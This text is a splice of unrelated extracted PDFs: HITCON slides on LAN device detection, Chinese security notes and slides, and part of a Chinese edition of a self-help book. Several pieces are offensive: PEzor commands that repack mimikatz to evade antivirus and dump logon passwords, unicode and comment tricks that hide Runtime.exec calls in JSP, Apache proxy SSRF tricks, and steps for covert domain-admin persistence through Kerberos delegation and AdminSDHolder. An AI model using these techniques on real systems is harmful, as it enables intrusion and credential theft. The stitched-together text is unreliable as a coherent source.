name、traffic or string-based patterns. • 還是要想法子識別 2015/8/29 HitCon2015: LAN device detection 45 How to detect LAN devices 4. Check the used applications • AppID –1. 關於一般 pattern-based AppID –2. AppID for SSL-based applications –3. AppID for encrypted applications 2015/8/29 HitCon2015: LAN device detection 46 How to detect LAN devices 4. Check the used applications • 關於一般 pattern-based AppID – 主要是AppID會希望 connections 能夠被儘早 的識別出來並標注適當的ID ,這樣可以及早 apply QoS – IPS則是必須在關鍵時刻擋下攻擊,在高速網 路(一秒鐘幾十G上下)的環境,就會變得很刺激 2015/8/29 HitCon2015: LAN device detection 47 How to detect LAN devices 4. Check the used applications • AppID for SSL-based applications – 有些人遇到 SSL 的連線就放棄識別了, but 2015/8/29 HitCon2015: LAN device detection 48 How to detect LAN devices 4. Check the used applications • AppID for SSL-based applications • Source: http://www.cisco.com/c/en/us/support/docs/security-vpn/secure- socket-layer-ssl/116181-technote-product-00.html 2015/8/29 HitCon2015: LAN device detection 49 How to detect LAN devices 4. Check the used applications • Certificate 裡面有些 keywords 可以抓 • 2015/8/29 HitCon2015: LAN device detection 50 How to detect LAN devices 4. Check the used applications • Certificate 裡面有些 keywords 可以抓 • 2015/8/29 HitCon2015: LAN device detection 51 How to detect LAN devices 4. Check the used applications (AppID for encrypted applications) • 如果,你遇到的是私有的加密方式或編碼, 無法知道封包的解析規則 – 那還有招嗎? 2015/8/29 HitCon2015: LAN device detection 52 How to detect LAN devices 4. Check the used applications (AppID for encrypted applications) • 那我們提供一個沒有辦法的辦法 – 放棄識別 payload – 單靠 方向、封包長度,產生出對應的 finite state machine (FSM) – 如果,這個 FSM 可以 match 某個 connection, 我們就假定它應該跟我們用來畫出這個 FSM 的 connections 是同一種。 2015/8/29 HitCon2015: LAN device detection 53 How to detect LAN devices 4. Check the used applications (AppID for encrypted applications) 2015/8/29 HitCon2015: LAN device detection 54 How to detect LAN devices • 誰適合做 LAN Device Identification? • IoT Home Router/Gateway? – 兵家必爭之地? – LAN 與 WAN 資料交換必經之路 – 一般來說,真正的 source MAC address 與 DHCP option 55 只有在 LAN 看得到。 2015/8/29 HitCon2015: LAN device detection 55 How to detect LAN devices • Do you know the RAM-size in your home router? – 你知道家裡的 router 的 RAM 是多大嗎? – In embedded system, in general, the RAM- size imply the functionality which can be equipped. 2015/8/29 HitCon2015: LAN device detection 56 How to detect LAN devices 2015/8/29 HitCon2015: LAN device detection 57 How to detect LAN devices • 當大部分的家用 router 的 RAM 少於 128M, (32M 是主流),大家覺得它會拿多少出來給 security functions? – 無米之炊…. – 這是大環境的問題,需要大家一起解決。 – Security has its price. 2015/8/29 HitCon2015: LAN device detection 58 • The threat intelligence with LDI 2015/8/29 HitCon2015: LAN device detection 59 The threat intelligence with LDI • 我們和 home router 廠商合作,取得 user 同意的 logs,彙整到我們的 cloud。 – Timely – Accurate – Relevant 2015/8/29 HitCon2015: LAN device detection 60 The threat intelligence with LDI 2015/8/29 HitCon2015: LAN device detection 61 The threat intelligence with LDI • 底下是一些去可識別化的統計資訊 2015/8/29 HitCon2015: LAN device detection 62 The threat intelligence with LDI 2015/8/29 HitCon2015: LAN device detection 63 The threat intelligence with LDI Device by type 2015/8/29 HitCon2015: LAN device detection 64 The threat intelligence with LDI Traffic by Device 2015/8/29 HitCon2015: LAN device detection 65 The threat intelligence with LDI CVE 2015-0554 (Release Date: 2015/1/21) 2015/8/29 HitCon2015: LAN device detection 66 The threat intelligence with LDI Security Events timeline 2015/8/29 HitCon2015: LAN device detection 67 The threat intelligence with LDI • 第二屆台灣資料科學愛好者年會 – 阿里巴巴數據委員會會長-車品覺: – 數據科學現在有兩大派別: • 數據很平但用深厚的演算法解決問題, • 另一種是數據廣泛而大但是用簡單的演算法。 • 我(車品覺)個人的喜好是第二個  2015/8/29 HitCon2015: LAN device detection 68 The threat intelligence with LDI • 我們也是喜歡簡單的演算法  • 再回到那個冰箱送 SPAM 的問題 – 萬一,我們發現你家的冰箱開始送 emails – 我們會比對別人家的同款的冰箱們是不是也會 送 emails – 如果,你家的冰箱是特別的 – 理論上,將來我們會想法子通知你…. • 自己的冰箱自己救 2015/8/29 HitCon2015: LAN device detection 69 • Summary 2015/8/29 HitCon2015: LAN device detection 70 Summary (Some things about LAN device identification) • 1. 在 IoT 時代,網路設備識別自動化是需 要的。 • 2. 在 LAN 端,我們可以透過 MAC OUI, DHCP packets 取得品牌與作業系統的相關 資訊。 • 3. 精準的設備識別 結合 Big Data 的運算能 力,才有辦法真正做到 threat intelligence。 2015/8/29 HitCon2015: LAN device detection 71 Acknowledgements • The Authors would like to thank – Eric Lien – MiG Chien – Hubert Lin – Ping-Jhih Chen – Miles Xie – Mit Liao – Justin Jan – and other helpers. 2015/8/29 HitCon2015: LAN device detection 72 Reference • 1. MAC address – https://en.wikipedia.org/wiki/MAC_address • 2. Fingerbank – https://fingerbank.inverse.ca/ • 3. Using DHCP for Passive OS Identification – http://chatteronthewire.org/download/bh-japan- laporte-kollmann-v8.ppt • 4. Packetfence – http://www.packetfence.org/ 2015/8/29 HitCon2015: LAN device detection 73 One more thing (在 HITCON2015 ENT, 兩個 hackers 的問答) • 安東尼問: – 我們一直揭露偵測與防禦的技術,會不會造成 壞人一直改進,使得我們偵測與防禦的能力變 弱? • 博德曼答: – 不用擔心這個問題,因為我從來沒有在公開的 演講,揭露我真正的實作方法與技術  • Comments: – 也不是說我們這些 speakers 都留一手,而是 說我們做的比說的好  2015/8/29 HitCon2015: LAN device detection 74 Q&A • Thank you  • E-mails: – For media and business • Terence Liu <[email protected]> – For job opportunity • Hsien-Wei Hung <[email protected]> – For technique • Canaan Kao <[email protected]> 2015/8/29 HitCon2015: LAN device detection 75 About BoT2015 • 現狀: – 我現在還不能跟大家確認今年不會有 BoT2015 – 大概九月底會有 update • Facebook for BoT conference: – https://www.facebook.com/BotnetCon 2015/8/29 HitCon2015: LAN device detection 76
pdf
1 PEzor Bypass AntiVirus 前⾔ 安装 常规使⽤ https://iwantmore.pizza/posts/PEzor.html https://iwantmore.pizza/posts/PEzor2.html https://iwantmore.pizza/posts/PEzor3.html ⽤docker的kali安装,使⽤起来⾮常⽅便快速。 复制进去,打包完成以后再复制出来。 前⾔ 安装 常规使⽤ 2 参数说明看readme https://github.com/phra/PEzor 常规重打包exe 1 PEzor.sh -format=exe /tmp/m.exe -z 2 -p '"log c:\users\public\mim i.out" "sekurlsa::logonpasswords" "exit"' 3 exe转dll然后反射加载或者侧加载 变成donut形式 1 PEzor.sh -format=reflective-dll /tmp/m.exe -z 2 -p '"log c:\users \public\m.out" "token::whoami" "exit"' 1 2 PEzor.sh -format=dotnet /tmp/m.exe -sleep=2 -z 2 -p '"log c:\use rs\public\mimi.out" "sekurlsa::logonpasswords" "exit"' 3 PEzor.sh -format=dotnet /tmp/m.exe -sleep=2 -z 2 -p ' "coffee" ' 4 PEzor.sh -format=dotnet -sleep=1 /tmp/m.exe -z 2 -p '"log c:\users \public\m.out" "token::whoami" "exit"' 4 5
pdf
1 从javac源码看Unicode编码绕过的原因 前⾔ 搭建Javac调试环境 ⽀持变形Unicode的原因 注释+换⾏绕过的原因 ⼀个奇怪的发现 @yzddMr6 ⼤家都知道jsp中可以⽤\uxxxx或者\uuuuuuxxxx这种格式来对恶意代码进⾏混淆,并且还可以⽤注 释+换⾏unicode的⽅式进⾏恶意代码的逃逸。那么是什么造成了这种情况呢,带着问题我们从Javac层 ⾯看⼀看原因是什么。 使⽤源码来调试的原因主要是源码⾥有变量名以及注释等,⽅便理解。 git clone https://github.com/arthur-zhang/javac-source-code-reading 这个项⽬打开后⽆法直接使⽤,有些源码并不完整。 解决办法是⼿动把tools.jar加为库⽂件 前⾔ 搭建Javac调试环境 2 在源码中进⾏⼀番查找,我们可以找到解析unicode编码的地⽅在 com.sun.tools.javac.parser.UnicodeReader#convertUnicode 这⾥ch是当前扫描的字符,bp是当前扫描到的位置,unicodeConversionBp是⽤来记录上⼀个unicode 的位置。 关检步骤的作⽤已经在代码中给出: ⽀持变形Unicode的原因 3 因此我们的第⼀个问题就解决了:能⽀持\uuuuu这种的原因是javac使⽤了while循环来扫描,循环的判 断逻辑是只要\的后⾯⼀直是u就会⼀直往下读取。 Plain Text 复制代码 protected void convertUnicode() {       if (ch == '\\' && unicodeConversionBp != bp) {//当前字符是'\'且不是 上⼀个unicode的位置           bp++; ch = buf[bp];//读取下⼀个字符           if (ch == 'u') {               do {                   bp++; ch = buf[bp];//继续读下⼀个字符               } while (ch == 'u');//只要'\'的下⼀个字符是u,就会⼀直⾛到 while循环               int limit = bp + 3;//记录unicode的最后⼀个位置               if (limit < buflen) {                   int d = digit(bp, 16);                   int code = d;                   while (bp < limit && d >= 0) {//这⾥的主要功能是读取 \u00xx中xx的内容,并且转为对应的char字符。                       bp++; ch = buf[bp];                       d = digit(bp, 16);                       code = (code << 4) + d;                   }                   if (d >= 0) {                       ch = (char)code;//转为对应的char字符                       unicodeConversionBp = bp;                       return;                   }               }               log.error(bp, "illegal.unicode.esc");           } else {               bp--;               ch = '\\';           }       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 4 还有⼀种利⽤姿势是⽤ //+\u000d换⾏的写法进⾏代码的逃逸,如下⾯这个例⼦: 表⾯上java.lang.Runtime.getRuntime().exec("whoami");是在注释符的后⾯⽆法执⾏,但实际上由于前 ⾯存在\u000d转义字符,导致后⾯的代码逃逸了出来。实际编译的时候是下⾯的代码形式: 注释+换⾏绕过的原因 Plain Text 复制代码 public class test {   public static void main(String[] args) throws Exception {       //\u000djava.lang.Runtime.getRuntime().exec("whoami");   } } 1 2 3 4 5 5 javac后的class⽂件也可以印证我们的说法 ⾄于为什么这样可以绕过呢,javac对于注释的核⼼处理代码在这⾥ com.sun.tools.javac.parser.JavaTokenizer#readToken 可以看到这⾥也进⼊了⼀个do while的循环:只要当前的ch!=CR或者LF或者没有读取到最⼤⻓度都会继 续读取,最后把pos跟bp之间的字符都当作注释。这⾥的pos是进⼊token读取之前记录的⼀个起始值。 其中我们代码中⽤到的\u000d也就是CR,关于token读取过程中⼀些特殊的字符解释如下: Plain Text 复制代码 public class test {   public static void main(String[] args) throws Exception {       //       java.lang.Runtime.getRuntime().exec("whoami");   } } 1 2 3 4 5 6 6 那么为什么这⾥的换⾏可以是⼀个unicode转义过后的换⾏,⽽⾮⼀个真正的换⾏呢? 接着往下看,代码会⾛到com.sun.tools.javac.parser.UnicodeReader#scanCommentChar Plain Text 复制代码 public interface LayoutCharacters {   /** Tabulator column increment.     */   final static int TabInc = 8;   /** Standard indentation for subdiagnostics     */   final static int DiagInc = 4;   /** Standard indentation for additional diagnostic lines     */   final static int DetailsInc = 2;   /** Tabulator character.     */   final static byte TAB   = 0x9;   /** Line feed character.     */   final static byte LF   = 0xA;   /** Form feed character.     */   final static byte FF   = 0xC;   /** Carriage return character.     */   final static byte CR   = 0xD;   /** End of input character. Used as a sentinel to denote the     * character one beyond the last defined character in a     * source file.     */   final static byte EOI   = 0x1A; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 7 ⼜调⽤了com.sun.tools.javac.parser.UnicodeReader#scanChar。 我们可以看到,Javac在扫描字符的时候,底层只提供最后转换的结果,并不会告诉上层这个char 到底是真正的⼀个字符还是从unicode转过来的。 所以绕过的原因也就很清楚了:Javac在读取注释的过程中会判断下⼀个字符是否是CR回⻋字符, ⽽不会判断这个回⻋到底是从Unicode转过来的还是真正的⼀个回⻋符号,所以就产⽣了恶意代码的逃 逸。 debug过后可以看到我们的comment⾥⾯到换⾏就加了个0x1a结束了,没有把恶意代码计⼊到注释 ⾥⾯ Plain Text 复制代码   protected void scanCommentChar() {       this.scanChar();       if (this.ch == '\\') {           if (this.peekChar() == '\\' && !this.isUnicode()) {               this.skipChar();           } else {               this.convertUnicode();           }       }   } 1 2 3 4 5 6 7 8 9 10 11 Plain Text 复制代码   protected void scanChar() {       if (this.bp < this.buflen) {           this.ch = this.buf[++this.bp];           if (this.ch == '\\') {//如果为\开头则进⾏unicode转换               this.convertUnicode();           }       }   } 1 2 3 4 5 6 7 8 9 8 在瞎⼏把摸索之后,发现了⼀个奇怪的现象 在//\u000d后⾯随便加⼀个\uabcd 直接⽤javac解析会报错,这个当然是符合预期的 ⼀个奇怪的发现 Plain Text 复制代码 public class test {   public static void main(String[] args) throws Exception {       java.lang.Runtime.getRuntime().               //\u000d\uabcdexec("whoami");   } } 1 2 3 4 5 6 7 9 在jsp⾥⾯同样构造⼀个//\u000d\uabcd 在jsp下⾯居然成功解析了?? ⼀开始是以为java版本的原因,后来换到了同样的版本还是不太⼀样。⼜去找了⼀下jsp翻译过后的java ⽂件,tomcat也没有做特殊的处理。 Plain Text 复制代码 <%   Runtime.getRuntime().           //\u000d\uabcdexec("calc"); %> 1 2 3 4 10 理论上jsp执⾏也是经历了jsp->java->class的过程,为什么跟直接编译java⽂件的结果不同呢,⾮常神 秘,感兴趣的同学可以研究⼀下。
pdf
apache proxy 0x00 proxyapache proxyPass /test/ "http://172.28.66.94/" proxyPassReverse /test/ "http://172.28.66.94/" ip/ url8000url proxyPass /test/ "http://www.baidu.com" proxyPassReverse /test/ "http://www.baidu.com" URL /test/.cn http://www.baidu.com.cn http://www.baidu.com.cn dnsrebindssrf 0x01 mod_proxy.cap_proxy_trans_match950 “proxy:”realuse_uri+len real http://172.28.66.94 use_uri /test/:8000 len6len lenr-urifakefake /test/ r-uri /test/:8000 alias_match static int alias_match(const char *uri, const char *alias_fakename) { const char *end_fakename = alias_fakename + strlen(alias_fakename); const char *aliasp = alias_fakename, *urip = uri; const char *end_uri = uri + strlen(uri); while (aliasp < end_fakename && urip < end_uri) { if (*aliasp == '/') { /* any number of '/' in the alias matches any number in * the supplied URI, but there must be at least one... */ if (*urip != '/') return 0; while (*aliasp == '/') ++aliasp; while (*urip == '/') ++urip; } else { /* Other characters are compared literally */ if (*urip++ != *aliasp++) return 0; } } /* fixup badly encoded stuff (e.g. % as last character) */ if (aliasp > end_fakename) { aliasp = end_fakename; } if (urip > end_uri) { urip = end_uri; } /* We reach the end of the uri before the end of "alias_fakename" * for example uri is "/" and alias_fakename "/examples" */ if (urip == end_uri && aliasp != end_fakename) { return 0; } /* Check last alias path component matched all the way */ if (aliasp[-1] != '/' && *urip != '\0' && *urip != '/') return 0; /* Return number of characters from URI which matched (may be * greater than length of alias, since we may have matched * doubled slashes) */ return urip - uri; } return /test/ len6. use_uri+len /test/:8000 6:8000realfound 8000proxyapacheproxy 0x02 “//”burp /user//details /user/details payload
pdf
▪ • Relatively Easy to Exploit • Easily Automated • Usually not monitored ▪ ▪ ▪ ▪ Kerberos ▪ Kerberos Delegation ▪ ▪ Focus on High Privileges ▪ Malicious JIT administration ▪ ▪ ▪ • Ticket based authentication protocol Domain User AS TGS KDC TGT TGS LSASS (KERBEROS) AES256 AES128 RC4 DES ST TGT TGT App Server ST ▪ • Why? • An application reusing user credentials • Web server accessing a SQL DB • How? • Request tickets on behalf of the user User1 Web Server SQL Server DC User1 Authentication User1 Ticket Delegated ▪ ▪ • Delegation to any service ▪ • Kerberos Only (S4U2Proxy) • Protocol Transition (S4U2Self + S4U2Proxy) Domain Account or Local System Access NO ACCESS PIVOTING PRIVILEGED FULL CONTROL ACLs Brute Force GPOs Kerberoasting CONSTRAINED DELEGATION GPO TAMPERING BUSTED! Pass-The-Hash Pass-The-Ticket BloodHound GoFetch Domain Admin Enterprise Admin ▪ • Dump NTDS.dit (VSS, DRSUAPI) • Golden ticket • Skeleton key ▪ • Replication requests from a non-DC machine • Detect crafted tickets • Encryption downgrade ▪ • Accounts holding permanent high privileges serve as valuable targets for attackers • JIT Administration • High privileges are required to perform an operation • Get the required privileges for a limited amount of time • When the time period expires, the high privileges are revoked • Reduces the attack surface ▪ • Get administrative access for a limited time • Perform malicious operations • Leave no traces behind to avoid detection ▪ • Delegation scenario • AdminSDHolder scenario 1 • AdminSDHolder scenario 2 ▪ • Object Ownership • Discretionary Access Control List (DACL) • Access control entries (ACE) DACL User SID Security Group SIDs User Rights Access Token Deny ACEs Allow ACEs Inherited Deny ACEs Inherited Allow ACEs LSA Matches SIDs from The access Token with SIDs in the ACEs ▪ • Add a new machine account • Set machine owner to a malicious account • Owner can edit the ACL of the object ▪ • GPO Tampering: “Enable accounts to be trusted for delegation” ▪ • DACL Modification: • Add ‘GenericAll’ ACE for malicious_user on new machine ▪ • Allow delegation to krbtgt • Request ‘Administrator’ TGT • Remove footprints: • Remove delegation • Revert ACL • Perform malicious operations ▪ • Persistence can be obtained by ACL modification of privileged groups – such as ‘Domain Admins’ • Problem: AdminSDHolder! ▪ • SDProp overrides the ACLs of protected groups & users with the AdminSDHolder ACL • Runs periodically (default: 1 hour) • Result: malicious_user loses his permission • Protected accounts: • Enterprise Admins • Domain Admins • Administrators • … ▪ • The following groups can be excluded from the AdminSDHolder protection: • Bit Group to Exclude Binary Value Hexadecimal Value 0 Account Operators 0001 1 1 Server Operators 0010 2 2 Print Operators 0100 4 3 Backup Operators 1000 8 ▪ • Add ACEs to excluded groups • SDProp will not affect the new ACL • Malicious JIT at any time! ▪ • Change the owner of the AdminSDHolder object • Still not allowed to modify group memberships ▪ • Just before SDProp is scheduled to run • Add malicious_user to the AdminSDHolder ACL ▪ • SDProp adds malicious ACE to protected objects ▪ • Add malicious_user to ‘Domain Admins’ group • Obtain administrative TGT • Revert (erase footprints) • Remove malicious_user from AdminSDHolder’s ACL • Force SDProp to run: removes malicious ACE from protected groups • Remove malicious_user from ‘Domain Admins’ group* • Entire operation can be automated to run in seconds! ▪ • ‘Account is sensitive and cannot be delegated’ • GPO: ‘Enable accounts to be trusted for delegation’ • Monitor accounts trusted for delegation • ‘AllowedToDelegateTo’ attribute ▪ • ACL • Owner • Excluded groups
pdf
[ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 1 ~ 封面 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 2 ~ 感谢 爱书网 www.ilovebook.cn 提供图书模板 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 3 ~ 赞誉之辞 史蒂芬〃柯维写了一本关于人类生存状况的巨 著,不仅文字优美,而且深深洞察了我们内心所关 注的东西。这本书无论对个人还是对组织都非常有 用,我要将把它赠送给每一个我所认识的人。 ——沃伦·本尼斯,世界领导力大师,《成为领 导者》作者 史蒂芬〃柯维是美国的苏格拉底,他使你畅开 心扉去面对生命中一些永恒的东西——金钱、家庭、 人际关系、生命价值。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 4 ~ ——博恩·崔西,世界潜能大师, 《成功心理学》 作者 无论是学习企业管理的学生还是正在从事管 理工作的人都不太会像史蒂芬〃柯维那样对组织与 管理的首要原则进行如此细致和深入的思考。他在 《高效能人士的七个习惯》中给了我们一个机会, 而不仅仅是一种指导。他以其卓越的洞察力为我们 提供了一个了解自己和了解自己对他人的影响的机 会。这是一本能改变你命运的奇书。 ——汤姆·彼得斯,世界管理学大师,《追求卓 越》作者 正当美国各企事业单位、政党和社会团体迫切 需要鼓舞士气并培养出各阶层领导人的时候,柯维 适时地提供了一种有助于自我提高的人生哲学,它 可称得上是个人事业成功的最佳保证……它是智慧、 情感和实践经验的结晶。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 5 ~ ——罗莎贝丝·莫斯·坎特,哈佛商学院的首 席管理教授,《巨人学舞》作者 《高效能人士的七个习惯》是本奇书。它告诉 人们应当把对个人、对家庭和对事业的责任统一起 来,它在这方面所起的作用超过了任何一本我曾读 过的书。 ——保罗·汤普森,杨百翰大学麦里特商学院 院长,《更迭》作者 《高效能人士的七个习惯》为我们提供了处理 人际关系的法则,如能静下想想,必将获益匪浅。 ——吉姆斯·弗雷切,美国国家航空航天局局 长 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 6 ~ 我不知道有哪一位教师或哪一种方法能像本 书这样对个人绩效的提升产生如此巨大的积极作 用……本书萃取了史蒂芬〃柯维人生哲学体系的精 髓。我相信读过此书的人都会明白为什么柯维博士 的指导会对我及其他人产生如此巨大的影响。 ——约翰·白波,宝洁公司董事长 《高效能人士的七个习惯》是所有人成功的钥 匙,它令人深思,发人深省。 ——爱德华·布瑞南,美国西尔斯百货公司董 事长兼执行总裁 我发现此书能令人精神振奋、思维活跃。它是 我思考和行动的指南。 ——瑞秋·狄维士,安利公司总裁 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 7 ~ 这是一本震撼人心的著作。他提出的关于构思、 领导和公关的原理组成了培训现代企业管理者的实 用工具。我强烈推荐本书。 ——诺兰·阿奇博尔德,布莱克·戴克公司总 裁兼首席执行官 我们应当将阅读该书并运用书中知识作为对 事业单位、党政机关各阶层人员的一项要求,这将 比任何一部公务员道德行为规范所起的作用都大。 ——美国共和党首席参议员贾杰克 就对社会各阶层领导者的贡献而言,没人能比 得上史蒂芬〃柯维……所有有文化的人都能从阅读 该书并运用书中所述原理获益。 ——美国参议员奥林·哈奇 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 8 ~ 《高效能人士的七个习惯》是能够长时间一直 位居榜单的畅销书之一。 ——美国《财富》 杂志柯维是热门的,并将越来越热。 ——美国《商业周刊》 柯维是继戴尔〃卡耐基之后,在当今商业领域 最权威的自我提升顾问。 ——《今日美国》 柯维指明了在家庭、企业和社会中处理人际关 系的普遍真理,使我们免遭市面上一些蹩脚的人际 关系类书籍的茶毒。我们应该把阅读他的著作当成 是在实施一项工程,而不能像浏览图片那样,看完 就算。柯维既不是个乐观主义者,也不是个悲观主 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 9 ~ 义者,而是一个可能主义者。他认为我们有能力去 开启自我改造的大门。这本书名叫《高效能人士的 七个习惯》,读它的理由却远远不止 7 个。 ——史蒂芬·拉本斯基,国际广播电视协会执 行理事 史蒂芬〃柯维的著作传授着力量、信念与感受, 书中所谈到的人生法则的概念和实现方法为有效沟 通提供了一个基础。作为一名教育工作者,这本书 将成为我藏书室中又一本重要的参考文献。 ——威廉·柯尔,美国犹他州高等教育委员会 委员 史蒂芬〃柯维真是个了不起的人物。他的著作 思想深刻且充满人文主义关怀。 《高效能人士的七个 习惯》一本书就顶得上一屋子成功学书籍,它真的 改变了我的人生。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 10 ~ ——肯·布兰佳,《一分钟经理》作者 你所能形成的最好习惯就是不断学习并掌握 史蒂芬〃柯维的处世智慧。他能将他所说的话变成 现实,他的书自能让你永远臵身于成功者的圈子之 中。 ——丹尼斯·威特利博士,全美最杰出激励大 师之一,畅销书《成功心理学》作者 这真是一项伟大的贡献!柯维博士总结了成功 人士的各种习惯,并将其编制成为一套简单易学且 行之有效的教程奉献给大家。我们从此获得了现实 ‚美国梦‛的蓝图。 ——查尔斯·坎菲尔德,畅销书《顶级执行者》 作者 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 11 ~ 知识是通往成功的安全捷径。史蒂芬〃柯维将 成功人士所使用的策略加以浓缩提炼而写成此书。 成功是可以被学习的,而此书正是学习如何才能成 功的最佳教材。 ——查尔斯·吉文斯,畅销书《零风险致富》 作者 再见,戴尔〃卡耐基!史蒂芬〃柯维的理论对 我的生命产生了深刻的影响,他所提出的原理作用 巨大。赶快购买并阅读这本书吧,一旦你运用书中 原理,你的生命会变得非常充实。 ——罗伯特·艾伦,世界知名理财大师,畅销 书《无所不能》和《一分钟百万富翁》作者 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 12 ~ 这本书包含了某些敏感的事实,直指人性,有 些仅在虚构的故事中出现,但最终你会发现,不仅 你了解了柯维,柯维也了解了你。 ——奥森·斯考特,世界性科幻大奖雨果奖和 星云奖获得者 本书重点强调了当今社会重塑品德的必要。它 是对有关自我拯救论著的极具价值的补充。 ——w·克莱蒙特,《成功》杂志创办者 《高效能人士的七个习惯》一书中,史蒂芬〃柯 维为大家呈上了一道涉及七项课程,探讨如何掌握 人生以及如何实现理想的大餐。它是一本读完令人 满足的、精力充沛的阶段性书籍,适合个人阅读和 商业培训课程。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 13 ~ ——罗杰·斯托巴赫,美国著名橄榄球球星 史蒂芬〃柯维鼓舞人心的著作无疑将成为首选 心理学手册,书中所探讨的那些准则都极具普遍性, 可将其应用于个人生活的各个方面。但应用这些准 则就像表演歌剧那样,要经过事先排练,而不可能 说用就用。 ——艾瑞尔·拜比,美国纽约大都会歌剧院女 中音歌唱家 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 14 ~ 目 录 前言 如何善用本书 第一部分 重新探索自我 第二部分 个人领域的成功 第三部分 公众领域的成功 第四部分 自我提升和完善 附录 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 15 ~ 前言 变化的世界不变的原则 《高效能人士的七个习惯》面世以来,世界发 生了巨大变化。生活变得更多元,更紧迫,对人们 也提出了更高的要求。我们已经从工业时代进入了 信息/知识时代,并亲历了随之而来的深刻社会变 迁。不仅广度和深度前所未有,种类更是千差万别。 这引发了一个非常重要的,也是我常被问到的 问题:‚今后 l0 年、20 年、50 年甚至 100 年,《高 效能人士的七个习惯》是否依然有效?‛我的回答是: 变化越彻底,挑战越严峻,这七个习惯对 A-4J']越 重要。因为我们的问题和痛苦是普遍存在的,并且 日趋严峻。而它们的解决之道,一直而且永远都建 立在普遍、永恒、不证自明的原则之上,这些原则 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 16 ~ 亲历了人类历史的每一个持久繁荣的社会。大家不 需要赞美我,因为这些原理并非我首创,我只是发 掘并把它们整理出来而已。 我对生命的一种最深刻的感悟就是:要完成最 渴望的目标,战胜最艰巨的挑战,你必须发掘并应 用一些原则或自然法则,因为它们恰好左右着你苦 苦期待的成功。如何应用一个原理,因人而异,取 决于个人独一无二的优势、天赋和创造力,但最根 本的是,任何努力的成功,都离不开恰到好处并游 刃有余地应用某些原则,这些原则对成功而言是不 可或缺的。 然而很多人对此不以为然,至少会刻意回避。 实际上,这些强调原则的解决办法。与我们流行文 化的通行惯例和思维定式大相径庭。 在这里,我想以人类面临的最普遍的几种挑战 为例,来诠释两者的不同: 恐惧感和不安全感 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 17 ~ 现代社会.太多的人饱受恐惧感的折磨。他们 恐惧将来,恐惧失业,恐惧无力养家。这种弱点, 常常助长了一种倾向:无论在工作时,还是回到家 中,都倾向于零风险的生活,并逃避与他人互相依 赖和合作。 面对这种问题,我们的文化通常会教导人们要 独立、独立、再独立。‚我要专注于‘我和我的’, 我要工作,要好好工作,要通过工作获得真正的快 乐。‛独立是一种重要的,甚至带有决定性的价值观 和成就观,而我们生活在一个互赖的社会中,最辉 煌的成就要靠互赖和合作才能成就,远远不是个人 能力可企及的。 “我现在就想得到” 人们想要的太多又太急切。 ‚我要钱,要豪宅, 要香车,要最奢华的娱乐中心,我什么都想要,我 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 18 ~ 应该得到。‛尽管现代‚信用卡‛社会使‚透支‛变 得轻而易举,但终究要面对经济现状,现有的产能 远远不能满足购买力。无视经济现实终难长久,因 为对利益的追求是残酷无情的,甚至是血腥的。努 力工作是远远不够的,因为在市场和技术全球化的 驱动下,竞争日趋白热化,技术领域的发展之快, 令人眩晕,所以我们不能满足于校园教育,要不断 重新教育和重塑自我。我们必须训练头脑,大量投 入,不断磨炼,提升自己的竞争力,以免被社会淘 汰。工作中,老板总有各种各样的理由,驱使员工 不断出成绩。竞争是惨烈的,生存岌岌可危。今天, 必须有所产出,这就是今天的现实,也代表了资本 的内在需要。但是,潜在的、持久的、不断上升的 成功才是值得称颂的。或许你轻而易举地就完成了 季度目标,但问题的关键是,你是否做了必要的投 入和准备,以保证今后 l 年、5 年甚至 10 年都能继 续保持并不断提升这种成功呢?我们的文化以及华 尔街引领的一切行业都强烈地要求:今天的结果, 今天的成功。但一个不争的事实是,我们绝对不能 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 19 ~ 无视平衡的原则.我们要平衡现在和将来两种需要, 前者满足今天的需求,后者满足投资并提高竞争力, 以取得将来持久成功的需求。平衡原则同样适用于 健康、婚姻、家庭生活以及你所处的社区的需要。 谴责和抱怨 任何情况下,只要发现一个问题,人们就倾向 于把社会当成替罪羊来谴责, ‚如果我老板不是一个 刚愎自用的白痴该多好……如果我的出身好点该多 好……如果我没有遗传我爸的坏脾气该多好……如 果孩子们不那么叛逆该多好……如果那房子不是整 天乱得一团糟该多好……如果人们不那么随波逐流 该多好……如果老婆再体贴点该多好……如果…… 如果……‛面对问题和挑战,习惯性地谴责其他所 有人和事,似乎成了现行的潜规则,但这只能带来 短暂的解脱,同时却把我们禁锢在这些问题上,找 不到解决办法。现在请你找出一个虚怀若谷的人, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 20 ~ 他必须能认可并承担对周围环境的责任,必须有足 够的勇气且秉承任何必要的首创精神,能够以非常 创意的方式,找到所面临的挑战的出路,只要你找 到了这样一个人,我就告诉传至高无上的力量,教 你如何选择。 绝望无助 谴责周围人和事的必然结果是变成犬儒主义, 绝望无助。当我们最后向命运低头,认为自己是环 